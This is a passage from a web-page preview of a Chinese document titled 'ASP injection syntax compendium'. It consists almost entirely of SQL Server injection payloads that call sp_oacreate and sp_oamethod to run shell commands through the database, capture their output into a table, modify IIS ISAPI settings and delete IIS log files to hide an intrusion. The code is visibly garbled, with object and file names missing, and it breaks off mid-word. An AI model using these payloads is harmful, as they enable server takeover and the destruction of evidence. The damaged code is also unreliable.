asp注入語(yǔ)法大全(編輯修改稿)
2025-09-17 01:10 本頁(yè)面
【文章內(nèi)容簡(jiǎn)介】 DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ’’,@shell output EXEC sp_oamethod @shell,’run’,null,’ /c cscript C:\Inetpub\AdminScripts\ set /W3SVC/InProcessIsapiApps C:\WINNT\system32\ C:\WINNT\system32\inetsrv\ C:\WINNT\system32\inetsrv\ C:\WINNT\system32\inetsrv\ C:\WINNT\system32\ C:\winnt\system32\inetsrv\〉c:\’,’0’,’true’ EXEC sp_oacreate ’’,@fso output EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\’ WHILE @shell〉0 BEGIN EXEC sp_oamethod @file,’Readline’,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END 以下是一行中執(zhí)行EXE程序： DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ’’,@shell output EXEC sp_oamethod @shell,’run’,null,’ /c E:\\score\fts\images\ lh1 c:\〉c:\’,’0’,’true’ EXEC sp_oacreate ’’,@fso output EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\’ WHILE @shell〉0 BEGIN EXEC sp_oamethod @file,’Readline’,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END SQL下三種執(zhí)行CMD命令的方法： ： (1)exec ’del C:\winnt\system32\logfiles\W3SVC5\ 〉c:\’ (2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ’’,@shell output EXEC sp_oamethod @shell,’run’,null,’ /c del C:\winnt\system32\logfiles\W3SVC5\ 〉c:\’,’0’,’true’ EXEC sp_oacreate ’’,@fso output EXEC sp_oamethod @fso,’opentextfile’,@file out,’c:\’ WHILE @shell〉0 BEGIN EXEC sp_oamethod @file,’Readline’,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,’AtEndOfStream’,@isEnd out IF @isEnd=1 BREAK ELSE CONTIN
醫(yī)療健康相關(guān)推薦
鄂ICP備17016276號(hào)-1